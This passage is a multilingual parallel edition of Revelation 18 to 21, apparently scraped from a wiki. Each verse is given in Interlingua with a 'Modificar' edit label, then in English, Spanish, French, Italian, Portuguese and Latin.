diront: Malheur! malheur! La grande ville, qui était vêtue de fin lin, de pourpre et d'écarlate, et parée d'or, de pierres précieuses et de perles! En une seule heure tant de richesses ont été détruites!\nit: Ahi! ahi! La gran città ch'era vestita di lino fino e di porpora e di scarlatto, e adorna d'oro e di pietre preziose e di perle! Una cotanta ricchezza è stata devastata in un momento.\npt: dizendo: Ai! ai da grande cidade, da que estava vestida de linho fino, de púrpura, de escarlata, e adornada com ouro, e pedras preciosas, e pérolas! porque numa só hora foram assoladas tantas riquezas.\nlt: et dicentes vae vae civitas illa magna quae amicta erat byssino et purpura et cocco et deaurata est auro et lapide pretioso et margaritis\nE illes se jectara pulvere super lor capite e illes critara, plorara e lugera, dicente: Ai! ai! Le grande citate in le qual tote illes qui habeva naves in mar se habeva inricchite con su magnificentia! In un hora illa esseva desolate.Modificar\nE illes se jectara pulvere super lor capite e illes critara, plorara e lugera, dicente: Ai! ai! Le grande citate in le qual tote illes qui habeva naves in mar se habeva inricchite con su magnificentia! In un hora illa esseva desolate.\nen: And they cast dust on their heads, and cried, weeping and wailing, saying, Alas, alas that great city, wherein were made rich all that had ships in the sea by reason of her costliness! for in one hour is she made desolate.\nes: Y echaron polvo sobre sus cabezas; y dieron voces, llorando y lamentando, diciendo: ¡Ay, ay, de aquella gran ciudad, en la cual todos los que tenían navíos en la mar se habían enriquecido de sus riquezas; que en una hora ha sido desolada!\nfr: Ils jetaient de la poussière sur leurs têtes, ils pleuraient et ils étaient dans le deuil, ils criaient et disaient: Malheur! malheur! La grande ville, où se sont enrichis par son opulence tous ceux qui ont des navires sur la mer, en une seule heure elle a été détruite!\nit: E si getteranno della polvere sul capo e grideranno, piangendo e facendo cordoglio e dicendo: Ahi! ahi! La gran città nella quale tutti coloro che aveano navi in mare si erano arricchiti con la sua magnificenza! In un momento ella è stata ridotta in un deserto.\npt: E lançaram pó sobre as suas cabeças, e clamavam, chorando e lamentando, dizendo: Ai! ai da grande cidade, na qual todos os que tinham naus no mar se enriqueceram em razão da sua opulência! porque numa só hora foi assolada.\nlt: et miserunt pulverem super capita sua et clamaverunt flentes et lugentes dicentes vae vae civitas magna in qua divites facti sunt omnes qui habent naves in mari de pretiis eius quoniam una hora desolata est\nPostea un potente angelo sublevava un grande petra como un grande petra de molino, e lo lanceava in le mar dicente: Con le mesme impeto precipitara Babylonia, le grande citate, e non essera plus trovate.Modificar\nPostea un potente angelo sublevava un grande petra como un grande petra de molino, e lo lanceava in le mar dicente: Con le mesme impeto precipitara Babylonia, le grande citate, e non essera plus trovate.\nen: And a mighty angel took up a stone like a great millstone, and cast it into the sea, saying, Thus with violence shall that great city Babylon be thrown down, and shall be found no more at all.\nes: Y un ángel fuerte tomó una piedra como una grande piedra de molino, y la echó en la mar, diciendo: Con tanto ímpetu será derribada Babilonia, aquella grande ciudad, y nunca jamás será hallada.\nfr: Alors un ange puissant prit une pierre semblable à une grande meule, et il la jeta dans la mer, en disant: Ainsi sera précipitée avec violence Babylone, la grande ville, et elle ne sera plus trouvée.\nit: Poi un potente angelo sollevò una pietra grossa come una gran macina, e la gettò nel mare dicendo: Così sarà con impeto precipitata Babilonia, la gran città, e non sarà più ritrovata.\npt: Um forte anjo levantou uma pedra, qual uma grande mó, e lançou-a no mar, dizendo: Com igual ímpeto será lançada Babilônia, a grande cidade, e nunca mais será achada.\nlt: et sustulit unus angelus fortis lapidem quasi molarem magnum et misit in mare dicens hoc impetu mittetur Babylon magna illa civitas et ultra iam non invenietur\nE in te non se audira plus le sono de citheristas ni de musicos ni de flautistas ni trompetteros; ni essera plus trovate in te alicun artifice de qualcunque arte, ni se audira plus in te rumor de molino.Modificar\nE in te non se audira plus le sono de citheristas ni de musicos ni de flautistas ni trompetteros; ni essera plus trovate in te alicun artifice de qualcunque arte, ni se audira plus in te rumor de molino.\nen: And the voice of harpers, and musicians, and of pipers, and trumpeters, shall be heard no more at all in thee; and no craftsman, of whatsoever craft he be, shall be found any more in thee; and the sound of a millstone shall be heard no more at all in thee;\nes: Y voz de tañedores de arpas, y de músicos, y de tañedores de flautas y de trompetas, no será más oída en ti; y todo artífice de cualquier oficio, no será más hallado en ti; y el sonido de muela no será más en ti oído:\nfr: Et l'on n'entendra plus chez toi les sons des joueurs de harpe, des musiciens, des joueurs de flûte et des joueurs de trompette, on ne trouvera plus chez toi aucun artisan d'un métier quelconque, on n'entendra plus chez toi le bruit de la meule,\nit: E in te non sarà più udito suono di arpisti né di musici né di flautisti né di sonatori di tromba; né sarà più trovato in te artefice alcuno d'arte qualsiasi, né s'udrà più in te rumor di macina.\npt: E em ti não se ouvirá mais o som de harpistas, de músicos, de flautistas e de trombeteiros; e nenhum artífice de arte alguma se achará mais em ti; e em ti não mais se ouvirá ruído de mó;\nlt: et vox citharoedorum et musicorum et tibia canentium et tuba non audietur in te amplius et omnis artifex omnis artis non invenietur in te amplius et vox molae non audietur in te amplius\nE non resplendera plus in te lumine de lampada, e non se audira plus in te voce de sposo e de sposa; perque tu mercantes esseva le principes del terra, perque tote le nationes habeva essite seducite per tu sortilegios,Modificar\nE non resplendera plus in te lumine de lampada, e non se audira plus in te voce de sposo e de sposa; perque tu mercantes esseva le principes del terra, perque tote le nationes habeva essite seducite per tu sortilegios,\nen: And the light of a candle shall shine no more at all in thee; and the voice of the bridegroom and of the bride shall be heard no more at all in thee: for thy merchants were the great men of the earth; for by thy sorceries were all nations deceived.\nes: Y luz de antorcha no alumbrará más en ti; y voz de esposo ni de esposa no será más en ti oída; porque tus mercaderes eran los magnates de la tierra; porque en tus hechicerías todas las gentes han errado.\nfr: la lumière de la lampe ne brillera plus chez toi, et la voix de l'époux et de l'épouse ne sera plus entendue chez toi, parce que tes marchands étaient les grands de la terre, parce que toutes les nations ont été séduites par tes enchantements,\nit: E non rilucerà più in te lume di lampada, e non s'udrà più in te voce di sposo e di sposa; perché i tuoi mercanti erano i principi della terra, perché tutte le nazioni sono state sedotte dalle tue malìe,\npt: e luz de candeia não mais brilhará em ti, e voz de noivo e de noiva não mais em ti se ouvirá; porque os teus mercadores eram os grandes da terra; porque todas as nações foram enganadas pelas tuas feitiçarias.\nlt: et lux lucernae non lucebit tibi amplius et vox sponsi et sponsae non audietur adhuc in te quia mercatores tui erant principes terrae quia in veneficiis tuis erraverunt omnes gentes\nperque verace e juste es su judicios; pois que Ille ha judicate le grande meretrice qui corrumpeva le terra con su prostitution e ha vindicate le sanguine de su servos, ex le mano de illa.Modificar\nperque verace e juste es su judicios; pois que Ille ha judicate le grande meretrice qui corrumpeva le terra con su prostitution e ha vindicate le sanguine de su servos, ex le mano de illa.\nen: For true and righteous are his judgments: for he hath judged the great whore, which did corrupt the earth with her fornication, and hath avenged the blood of his servants at her hand.\nes: Porque sus juicios son verdaderos y justos; porque Él ha juzgado á la grande ramera, que ha corrompido la tierra con su fornicación, y ha vengado la sangre de sus siervos de la mano de ella.\nfr: parce que ses jugements sont véritables et justes; car il a jugé la grande prostituée qui corrompait la terre par son impudicité, et il a vengé le sang de ses serviteurs en le redemandant de sa main.\nit: perché veraci e giusti sono i suoi giudicî; poiché Egli ha giudicata la gran meretrice che corrompeva la terra con la sua fornicazione e ha vendicato il sangue de' suoi servitori, ridomandandolo dalla mano di lei.\npt: porque verdadeiros e justos são os seus juízos, pois julgou a grande prostituta, que havia corrompido a terra com a sua prostituição, e das mãos dela vingou o sangue dos seus servos.\nlt: quia vera et iusta iudicia sunt eius quia iudicavit de meretrice magna quae corrupit terram in prostitutione sua et vindicavit sanguinem servorum suorum de manibus eius\nPostea io audiva como le voce de un grande multitude e como le sono de multe aquas e como le rumor de forte tonitros, que diceva: Alleluia! pois que le Senior Deo nostre, le Omnipotente, regna.Modificar\nPostea io audiva como le voce de un grande multitude e como le sono de multe aquas e como le rumor de forte tonitros, que diceva: Alleluia! pois que le Senior Deo nostre, le Omnipotente, regna.\nen: And I heard as it were the voice of a great multitude, and as the voice of many waters, and as the voice of mighty thunderings, saying, Alleluia: for the Lord God omnipotent reigneth.\nes: Y oí como la voz de una grande compañía, y como el ruido de muchas aguas, y como la voz de grandes truenos, que decía: Aleluya: porque reinó el Señor nuestro Dios Todopoderoso.\nfr: Et j'entendis comme une voix d'une foule nombreuse, comme un bruit de grosses eaux, et comme un bruit de forts tonnerres, disant: Alléluia! Car le Seigneur notre Dieu tout puissant est entré dans son règne.\nit: Poi udii come la voce di una gran moltitudine e come il suono di molte acque e come il rumore di forti tuoni, che diceva: Alleluia! poiché il Signore Iddio nostro, l'Onnipotente, ha preso a regnare.\npt: Também ouvi uma voz como a de grande multidão, como a voz de muitas águas, e como a voz de fortes trovões, que dizia: Aleluia! porque já reina o Senhor nosso Deus, o Todo-Poderoso.\nlt: et audivi quasi vocem turbae magnae et sicut vocem aquarum multarum et sicut vocem tonitruum magnorum dicentium alleluia quoniam regnavit Dominus Deus noster omnipotens\nE io me prostrava a su pedes pro adorar le. E ille me diceva: Vide de non facer lo; io es un tu conservo e de tu fratres qui ha le testimonio de Jesus; adora Deo! Perque le testimonio de Jesus es le spirito de prophetia.Modificar\nE io me prostrava a su pedes pro adorar le. E ille me diceva: Vide de non facer lo; io es un tu conservo e de tu fratres qui ha le testimonio de Jesus; adora Deo! Perque le testimonio de Jesus es le spirito de prophetia.\nen: And I fell at his feet to worship him. And he said unto me, See thou do it not: I am thy fellowservant, and of thy brethren that have the testimony of Jesus: worship God: for the testimony of Jesus is the spirit of prophecy.\nes: Y yo me eché á sus pies para adorarle. Y Él me dijo: Mira que no lo hagas: yo soy siervo contigo, y con tus hermanos que tienen el testimonio de Jesús: adora á Dios; porque el testimonio de Jesús es el espíritu de la profecía.\nfr: Et je tombai à ses pieds pour l'adorer; mais il me dit: Garde-toi de le faire! Je suis ton compagnon de service, et celui de tes frères qui ont le témoignage de Jésus. Adore Dieu. -Car le témoignage de Jésus est l'esprit de la prophétie.\nit: E io mi prostrai ai suoi piedi per adorarlo. Ed egli mi disse: Guàrdati dal farlo; io sono tuo conservo e de' tuoi fratelli che serbano la testimonianza di Gesù; adora Iddio! Perché la testimonianza di Gesù è lo spirito della profezia.\npt: Então me lancei a seus pés para adorá-lo, mas ele me disse: Olha, não faças tal: sou conservo teu e de teus irmãos, que têm o testemunho de Jesus; adora a Deus; pois o testemunho de Jesus é o espírito da profecia.\nlt: et cecidi ante pedes eius ut adorarem eum et dicit mihi vide ne feceris conservus tuus sum et fratrum tuorum habentium testimonium Iesu Deum adora testimonium enim Iesu est spiritus prophetiae\nE ex le bucca le exiva un spada acute pro percuter con illo le nationes; e ille los regera con un virga de ferro, e calcara le pressa del vino del ardente ira del Omnipotente Deo.Modificar\nE ex le bucca le exiva un spada acute pro percuter con illo le nationes; e ille los regera con un virga de ferro, e calcara le pressa del vino del ardente ira del Omnipotente Deo.\nen: And out of his mouth goeth a sharp sword, that with it he should smite the nations: and he shall rule them with a rod of iron: and he treadeth the winepress of the fierceness and wrath of Almighty God.\nes: Y de su boca sale una espada aguda, para herir con ella las gentes: y Él los regirá con vara de hierro; y Él pisa el lagar del vino del furor, y de la ira del Dios Todopoderoso.\nfr: De sa bouche sortait une épée aiguë, pour frapper les nations; il les paîtra avec une verge de fer; et il foulera la cuve du vin de l'ardente colère du Dieu tout puissant.\nit: E dalla bocca gli usciva una spada affilata per percuoter con essa le nazioni; ed egli le reggerà con una verga di ferro, e calcherà il tino del vino dell'ardente ira dell'Onnipotente Iddio.\npt: Da sua boca saía uma espada afiada, para ferir com ela as nações; ele as regerá com vara de ferro; e ele mesmo é o que pisa o lagar do vinho do furor da ira do Deus Todo-Poderoso.\nlt: et de ore ipsius procedit gladius acutus ut in ipso percutiat gentes et ipse reget eos in virga ferrea et ipse calcat torcular vini furoris irae Dei omnipotentis\nPost io videva un angelo que stava in le sole, e ille critava con grande voce, dicente a tote le aves que vola in medio al celo: Veni, congrega vos pro le magne cena de DeoModificar\nPost io videva un angelo que stava in le sole, e ille critava con grande voce, dicente a tote le aves que vola in medio al celo: Veni, congrega vos pro le magne cena de Deo\nen: And I saw an angel standing in the sun; and he cried with a loud voice, saying to all the fowls that fly in the midst of heaven, Come and gather yourselves together unto the supper of the great God;\nes: Y vi un ángel que estaba en el sol, y clamó con gran voz, diciendo á todas las aves que volaban por medio del cielo: Venid, y congregaos á la cena del gran Dios,\nfr: Et je vis un ange qui se tenait dans le soleil. Et il cria d'une voix forte, disant à tous les oiseaux qui volaient par le milieu du ciel: Venez, rassemblez-vous pour le grand festin de Dieu,\nit: Poi vidi un angelo che stava in piè nel sole, ed egli gridò con gran voce, dicendo a tutti gli uccelli che volano in mezzo al cielo:\npt: E vi um anjo em pé no sol; e clamou com grande voz, dizendo a todas as aves que voavam pelo meio do céu: Vinde, ajuntai-vos para a grande ceia de Deus,\nlt: et vidi unum angelum stantem in sole et clamavit voce magna dicens omnibus avibus quae volabant per medium caeli venite congregamini ad cenam magnam Dei\npro manducar carnes de reges e carnes de capitanos e carnes de potentes e carnes de cavallos e de cavalleros, e carnes de omne sorta de homines, liberes e sclavos, parves e grandes.Modificar\npro manducar carnes de reges e carnes de capitanos e carnes de potentes e carnes de cavallos e de cavalleros, e carnes de omne sorta de homines, liberes e sclavos, parves e grandes.\nen: That ye may eat the flesh of kings, and the flesh of captains, and the flesh of mighty men, and the flesh of horses, and of them that sit on them, and the flesh of all men, both free and bond, both small and great.\nes: Para que comáis carnes de reyes, y de capitanes, y carnes de fuertes, y carnes de caballos, y de los que están sentados sobre ellos; y carnes de todos, libres y siervos, de pequeños y de grandes\nfr: afin de manger la chair des rois, la chair des chefs militaires, la chair des puissants, la chair des chevaux et de ceux qui les montent, la chair de tous, libres et esclaves, petits et grands.\nit: Venite, adunatevi per il gran convito di Dio, per mangiar carni di re e carni di capitani e carni di prodi e carni di cavalli e di cavalieri, e carni d'ogni sorta d'uomini, liberi e schiavi, piccoli e grandi.\npt: para comerdes carnes de reis, carnes de comandantes, carnes de poderosos, carnes de cavalos e dos que neles montavam, sim, carnes de todos os homens, livres e escravos, pequenos e grandes.\nlt: ut manducetis carnes regum et carnes tribunorum et carnes fortium et carnes equorum et sedentium in ipsis et carnes omnium liberorum ac servorum et pusillorum ac magnorum\nE le bestia esseva capturate, e con illo esseva capturate le falso propheta qui habeva facite miraculos coram illo, con los qual ille habeva seducite illes qui habeva recipite le marca del bestia e qui adorava su imagine. Ambes esseva jectate vive in le stagno ardente de foco e de sulfure.Modificar\nE le bestia esseva capturate, e con illo esseva capturate le falso propheta qui habeva facite miraculos coram illo, con los qual ille habeva seducite illes qui habeva recipite le marca del bestia e qui adorava su imagine. Ambes esseva jectate vive in le stagno ardente de foco e de sulfure.\nen: And the beast was taken, and with him the false prophet that wrought miracles before him, with which he deceived them that had received the mark of the beast, and them that worshipped his image. These both were cast alive into a lake of fire burning with brimstone.\nes: Y la bestia fué presa, y con ella el falso profeta que había hecho las señales delante de ella, con las cuales había engañado á los que tomaron la señal de la bestia, y habían adorado su imagen. Estos dos fueron lanzados vivos dentro de un lago de fuego ardiendo en azufre.\nfr: Et la bête fut prise, et avec elle le faux prophète, qui avait fait devant elle les prodiges par lesquels il avait séduit ceux qui avaient pris la marque de la bête et adoré son image. Ils furent tous les deux jetés vivants dans l'étang ardent de feu et de soufre.\nit: E la bestia fu presa, e con lei fu preso il falso profeta che avea fatto i miracoli davanti a lei, coi quali aveva sedotto quelli che aveano preso il marchio della bestia e quelli che adoravano la sua immagine. Ambedue furon gettati vivi nello stagno ardente di fuoco e di zolfo.\npt: E a besta foi presa, e com ela o falso profeta que fizera diante dela os sinais com que enganou os que receberam o sinal da besta e os que adoraram a sua imagem. Estes dois foram lançados vivos no lago de fogo que arde com enxofre.\nlt: et adprehensa est bestia et cum illo pseudopropheta qui fecit signa coram ipso quibus seduxit eos qui acceperunt caracterem bestiae qui et adorant imaginem eius vivi missi sunt hii duo in stagnum ignis ardentis sulphure\ne ille le jectava in le abysso que claudeva e lo sigillava pro non seducer plus le nationes usque esseva consummate le mille annos; e postea, [Satan] debera esser liberate per un breve tempore.Modificar\ne ille le jectava in le abysso que claudeva e lo sigillava pro non seducer plus le nationes usque esseva consummate le mille annos; e postea, [Satan] debera esser liberate per un breve tempore.\nen: And cast him into the bottomless pit, and shut him up, and set a seal upon him, that he should deceive the nations no more, till the thousand years should be fulfilled: and after that he must be loosed a little season.\nes: Y arrojólo al abismo, y le encerró, y selló sobre Él, porque no engañe más á las naciones, hasta que mil años sean cumplidos: y después de esto es necesario que sea desatado un poco de tiempo.\nfr: Il le jeta dans l'abîme, ferma et scella l'entrée au-dessus de lui, afin qu'il ne séduisît plus les nations, jusqu'à ce que les mille ans fussent accomplis. Après cela, il faut qu'il soit délié pour un peu de temps.\nit: lo gettò nell'abisso che chiuse e suggellò sopra di lui onde non seducesse più le nazioni finché fossero compiti i mille anni; dopo di che egli ha da essere sciolto per un po' di tempo.\npt: Lançou-o no abismo, o qual fechou e selou sobre ele, para que não enganasse mais as nações até que os mil anos se completassem. Depois disto é necessário que ele seja solto por um pouco de tempo.\nlt: et misit eum in abyssum et clusit et signavit super illum ut non seducat amplius gentes donec consummentur mille anni post haec oportet illum solvi modico tempore\nPostea io videva thronos; e a qui ibi se sedeva esseva date le poter de judicar. E io videva le animas de illes qui habeva essite decapitate per le testimonio de Jesus e per le parola de Deo, e etiam illes qui non habeva adorate le bestia ni su imagine, qui non habeva recipite le marca sur lor fronte e sur lor mano; e illes resurgeva, e regnava con Christo per mille annos.Modificar\nPostea io videva thronos; e a qui ibi se sedeva esseva date le poter de judicar. E io videva le animas de illes qui habeva essite decapitate per le testimonio de Jesus e per le parola de Deo, e etiam illes qui non habeva adorate le bestia ni su imagine, qui non habeva recipite le marca sur lor fronte e sur lor mano; e illes resurgeva, e regnava con Christo per mille annos.\nen: And I saw thrones, and they sat upon them, and judgment was given unto them: and I saw the souls of them that were beheaded for the witness of Jesus, and for the word of God, and which had not worshipped the beast, neither his image, neither had received his mark upon their foreheads, or in their hands; and they lived and reigned with Christ a thousand years.\nes: Y vi tronos, y se sentaron sobre ellos, y les fué dado juicio; y vi las almas de los degollados por el testimonio de Jesús, y por la palabra de Dios, y que no habían adorado la bestia, ni á su imagen, y que no recibieron la señal en sus frentes, ni en sus manos, y vivieron y reinaron con Cristo mil años.\nfr: Et je vis des trônes; et à ceux qui s'y assirent fut donné le pouvoir de juger. Et je vis les âmes de ceux qui avaient été décapités à cause du témoignage de Jésus et à cause de la parole de Dieu, et de ceux qui n'avaient pas adoré la bête ni son image, et qui n'avaient pas reçu la marque sur leur front et sur leur main. Ils revinrent à la vie, et ils régnèrent avec Christ pendant mille ans.\nit: Poi vidi dei troni; e a coloro che vi si sedettero fu dato il potere di giudicare. E vidi le anime di quelli che erano stati decollati per la testimonianza di Gesù e per la parola di Dio, e di quelli che non aveano adorata la bestia né la sua immagine, e non aveano preso il marchio sulla loro fronte e sulla loro mano; ed essi tornarono in vita, e regnarono con Cristo mille anni.\npt: Então vi uns tronos; e aos que se assentaram sobre eles foi dado o poder de julgar; e vi as almas daqueles que foram degolados por causa do testemunho de Jesus e da palavra de Deus, e que não adoraram a besta nem a sua imagem, e não receberam o sinal na fronte nem nas mãos; e reviveram, e reinaram com Cristo durante mil anos.\nlt: et vidi sedes et sederunt super eas et iudicium datum est illis et animas decollatorum propter testimonium Iesu et propter verbum Dei et qui non adoraverunt bestiam neque imaginem eius nec acceperunt caracterem in frontibus aut in manibus suis et vixerunt et regnaverunt cum Christo mille annis\nBeate e sancte illes qui participa al prime resurrection. Super illes non ha potestate le secunde morte sed illes essera sacerdotes de Deo e de Christo e illes regnara con Ille per mille annos.Modificar\nBeate e sancte illes qui participa al prime resurrection. Super illes non ha potestate le secunde morte sed illes essera sacerdotes de Deo e de Christo e illes regnara con Ille per mille annos.\nen: Blessed and holy is he that hath part in the first resurrection: on such the second death hath no power, but they shall be priests of God and of Christ, and shall reign with him a thousand years.\nes: Bienaventurado y santo el que tiene parte en la primera resurrección; la segunda muerte no tiene potestad en éstos; antes serán sacerdotes de Dios y de Cristo, y reinarán con Él mil años.\nfr: Heureux et saints ceux qui ont part à la première résurrection! La seconde mort n'a point de pouvoir sur eux; mais ils seront sacrificateurs de Dieu et de Christ, et ils régneront avec lui pendant mille ans.\nit: Beato e santo è colui che partecipa alla prima risurrezione. Su loro non ha potestà la morte seconda ma saranno sacerdoti di Dio e di Cristo e regneranno con lui quei mille anni.\npt: Bem-aventurado e santo é aquele que tem parte na primeira ressurreição; sobre estes não tem poder a segunda morte; mas serão sacerdotes de Deus e de Cristo, e reinarão com ele durante os mil anos.\nlt: beatus et sanctus qui habet partem in resurrectione prima in his secunda mors non habet potestatem sed erunt sacerdotes Dei et Christi et regnabunt cum illo mille annis\nE quando le mille annos habera passate, Satan essera liberate de su prisionModificar\nE quando le mille annos habera passate, Satan essera liberate de su prision\nen: And when the thousand years are expired, Satan shall be loosed out of his prison,\nes: Y cuando los mil años fueren cumplidos, Satanás será suelto de su prisión,\nfr: Quand les mille ans seront accomplis, Satan sera relâché de sa prison.\nit: E quando i mille anni saranno compiti, Satana sarà sciolto dalla sua prigione\npt: Ora, quando se completarem os mil anos, Satanás será solto da sua prisão,\nlt: et cum consummati fuerint mille anni solvetur Satanas de carcere suo et exibit et seducet gentes quae sunt super quattuor angulos terrae Gog et Magog et congregabit eos in proelium quorum numerus est sicut harena maris\nE le diabolo qui les habeva seducite esseva jectate in le stagno de foco e de sulfure, ubi sta etiam le bestia e le false propheta; e illes essera tormentate die e nocte, in le seculos del seculos.Modificar\nE le diabolo qui les habeva seducite esseva jectate in le stagno de foco e de sulfure, ubi sta etiam le bestia e le false propheta; e illes essera tormentate die e nocte, in le seculos del seculos.\nen: And the devil that deceived them was cast into the lake of fire and brimstone, where the beast and the false prophet are, and shall be tormented day and night for ever and ever.\nes: Y el diablo que los engañaba, fué lanzado en el lago de fuego y azufre, donde está la bestia y el falso profeta; y serán atormentados día y noche para siempre jamás.\nfr: Et le diable, qui les séduisait, fut jeté dans l'étang de feu et de soufre, où sont la bête et le faux prophète. Et ils seront tourmentés jour et nuit, aux siècles des siècles.\nit: E il diavolo che le avea sedotte fu gettato nello stagno di fuoco e di zolfo, dove sono anche la bestia e il falso profeta; e saran tormentati giorno e notte, nei secoli dei secoli.\npt: e o Diabo, que os enganava, foi lançado no lago de fogo e enxofre, onde estão a besta e o falso profeta; e de dia e de noite serão atormentados pelos séculos dos séculos.\nlt: et pseudoprophetes et cruciabuntur die ac nocte in saecula saeculorum\nE io videva le mortos, grandes e parves, qui stava ante le throno; e le libros esseva aperite; e etiam esseva aperite un altere libro, que es le libro del vita; e le mortos esseva judicate per le cosas scribite in le libros, secundo lor operas.Modificar\nE io videva le mortos, grandes e parves, qui stava ante le throno; e le libros esseva aperite; e etiam esseva aperite un altere libro, que es le libro del vita; e le mortos esseva judicate per le cosas scribite in le libros, secundo lor operas.\nen: And I saw the dead, small and great, stand before God; and the books were opened: and another book was opened, which is the book of life: and the dead were judged out of those things which were written in the books, according to their works.\nes: Y vi los muertos, grandes y pequeños, que estaban delante de Dios; y los libros fueron abiertos: y otro libro fué abierto, el cual es de la vida: y fueron juzgados los muertos por las cosas que estaban escritas en los libros, según sus obras.\nfr: Et je vis les morts, les grands et les petits, qui se tenaient devant le trône. Des livres furent ouverts. Et un autre livre fut ouvert, celui qui est le livre de vie. Et les morts furent jugés selon leurs oeuvres, d'après ce qui était écrit dans ces livres.\nit: E vidi i morti, grandi e piccoli, che stavan ritti davanti al trono; ed i libri furono aperti; e un altro libro fu aperto, che è il libro della vita; e i morti furon giudicati dalle cose scritte nei libri, secondo le opere loro.\npt: E vi os mortos, grandes e pequenos, em pé diante do trono; e abriram-se uns livros; e abriu-se outro livro, que é o da vida; e os mortos foram julgados pelas coisas que estavam escritas nos livros, segundo as suas obras.\nlt: et vidi mortuos magnos et pusillos stantes in conspectu throni et libri aperti sunt et alius liber apertus est qui est vitae et iudicati sunt mortui ex his quae scripta erant in libris secundum opera ipsorum\nE io audiva un grande voce ex le throno, que diceva: Ecce le tabernaculo de Deo con le homines; e Ille habitara con illes, e illes essera su populo, e Deo ipse stara con illes e essera lor Deo;Modificar\nE io audiva un grande voce ex le throno, que diceva: Ecce le tabernaculo de Deo con le homines; e Ille habitara con illes, e illes essera su populo, e Deo ipse stara con illes e essera lor Deo;\nen: And I heard a great voice out of heaven saying, Behold, the tabernacle of God is with men, and he will dwell with them, and they shall be his people, and God himself shall be with them, and be their God.\nes: Y oí una gran voz del cielo que decía: He aquí el tabernáculo de Dios con los hombres, y morará con ellos; y ellos serán su pueblo, y el mismo Dios será su Dios con ellos.\nfr: Et j'entendis du trône une forte voix qui disait: Voici le tabernacle de Dieu avec les hommes! Il habitera avec eux, et ils seront son peuple, et Dieu lui-même sera avec eux.\nit: E udii una gran voce dal trono, che diceva: Ecco il tabernacolo di Dio con gli uomini; ed Egli abiterà con loro, ed essi saranno suoi popoli, e Dio stesso sarà con loro e sarà loro Dio;\npt: E ouvi uma grande voz, vinda do trono, que dizia: Eis que o tabernáculo de Deus está com os homens, pois com eles habitará, e eles serão o seu povo, e Deus mesmo estará com eles.\nlt: et audivi vocem magnam de throno dicentem ecce tabernaculum Dei cum hominibus et habitabit cum eis et ipsi populus eius erunt et ipse Deus cum eis erit eorum Deus\nsed quanto al coardes, al incredules, al abominabiles, al homicidas, al fornicatores, al magos, al idolatras e a tote le mendacios, lor parte essera in le stagno ardente de foco e de sulfure, que es le secunde morte.Modificar\nsed quanto al coardes, al incredules, al abominabiles, al homicidas, al fornicatores, al magos, al idolatras e a tote le mendacios, lor parte essera in le stagno ardente de foco e de sulfure, que es le secunde morte.\nen: But the fearful, and unbelieving, and the abominable, and murderers, and whoremongers, and sorcerers, and idolaters, and all liars, shall have their part in the lake which burneth with fire and brimstone: which is the second death.\nes: Mas á los temerosos é incrédulos, á los abominables y homicidas, á los fornicarios y hechiceros, y á los idólatras, y á todos los mentirosos, su parte será en el lago ardiendo con fuego y azufre, que es la muerte segunda.\nfr: Mais pour les lâches, les incrédules, les abominables, les meurtriers, les impudiques, les enchanteurs, les idolâtres, et tous les menteurs, leur part sera dans l'étang ardent de feu et de soufre, ce qui est la seconde mort.\nit: ma quanto ai codardi, agl'increduli, agli abominevoli, agli omicidi, ai fornicatori, agli stregoni, agli idolatri e a tutti i bugiardi, la loro parte sarà nello stagno ardente di fuoco e di zolfo, che è la morte seconda.\npt: Mas, quanto aos medrosos, e aos incrédulos, e aos abomináveis, e aos homicidas, e aos adúlteros, e aos feiticeiros, e aos idólatras, e a todos os mentirosos, a sua parte será no lago ardente de fogo e enxofre, que é a segunda morte.\nlt: timidis autem et incredulis et execratis et homicidis et fornicatoribus et veneficis et idolatris et omnibus mendacibus pars illorum erit in stagno ardenti igne et sulphure quod est mors secunda\nE le citate esseva quadrangular, e su longitude esseva equal al amplitude; ille mensurava le citate con le canna, e illo esseva de dece-duo mille stadios; su longitude, su amplitude e su altitude esseva equal.Modificar\nE le citate esseva quadrangular, e su longitude esseva equal al amplitude; ille mensurava le citate con le canna, e illo esseva de dece-duo mille stadios; su longitude, su amplitude e su altitude esseva equal.\nen: And the city lieth foursquare, and the length is as large as the breadth: and he measured the city with the reed, twelve thousand furlongs. The length and the breadth and the height of it are equal.\nes: Y la ciudad está situada y puesta en cuadro, y su largura es tanta como su anchura: y Él midió la ciudad con la caña, doce mil estadios: la largura y la altura y la anchura de ella son iguales.\nfr: La ville avait la forme d'un carré, et sa longueur était égale à sa largeur. Il mesura la ville avec le roseau, et trouva douze mille stades; la longueur, la largeur et la hauteur en étaient égales.\nit: E la città era quadrangolare, e la sua lunghezza era uguale alla larghezza; egli misurò la città con la canna, ed era dodicimila stadi; la sua lunghezza, la sua larghezza e la sua altezza erano uguali.\npt: A cidade era quadrangular; e o seu comprimento era igual à sua largura. E mediu a cidade com a cana e tinha ela doze mil estádios; e o seu cumprimento, largura e altura eram iguais.\nlt: et civitas in quadro posita est et longitudo eius tanta est quanta et latitudo et mensus est civitatem de harundine per stadia duodecim milia longitudo et latitudo et altitudo eius aequalia sunt\nLe fundamentos del muro del citate esseva adornate con omne typo de petras preciose. Le prime fundamento esseva de jaspe; le secunde de sapphiro; le tertie de carcedonio; le quarte de esmeraldo;Modificar\nLe fundamentos del muro del citate esseva adornate con omne typo de petras preciose. Le prime fundamento esseva de jaspe; le secunde de sapphiro; le tertie de carcedonio; le quarte de esmeraldo;\nen: And the foundations of the wall of the city were garnished with all manner of precious stones. The first foundation was jasper; the second, sapphire; the third, a chalcedony; the fourth, an emerald;\nes: Y los fundamentos del muro de la ciudad estaban adornados de toda piedra preciosa. El primer fundamento era jaspe; el segundo, zafiro; el tercero, calcedonia; el cuarto, esmeralda;\nfr: Les fondements de la muraille de la ville étaient ornés de pierres précieuses de toute espèce: le premier fondement était de jaspe, le second de saphir, le troisième de calcédoine, le quatrième d'émeraude,\nit: I fondamenti del muro della città erano adorni d'ogni maniera di pietre preziose. Il primo fondamento era di diaspro; il secondo di zaffiro; il terzo di calcedonio; il quarto di smeraldo;\npt: Os fundamentos do muro da cidade estavam adornados de toda espécie de pedras preciosas. O primeiro fundamento era de jaspe; o segundo, de safira; o terceiro, de calcedônia; o quarto, de esmeralda;\nlt: fundamenta muri civitatis omni lapide pretioso ornata fundamentum primum iaspis secundus sapphyrus tertius carcedonius quartus zmaragdus\nle quinte de sardonyce; le sexte de sardio; le septime de chrysolitho; le octave de beryllo; le nono de topazo; le decime de chrysopraso; le decimo-prime de hyacintho; le decimo-secunde de amethysto.Modificar\nle quinte de sardonyce; le sexte de sardio; le septime de chrysolitho; le octave de beryllo; le nono de topazo; le decime de chrysopraso; le decimo-prime de hyacintho; le decimo-secunde de amethysto.\nen: The fifth, 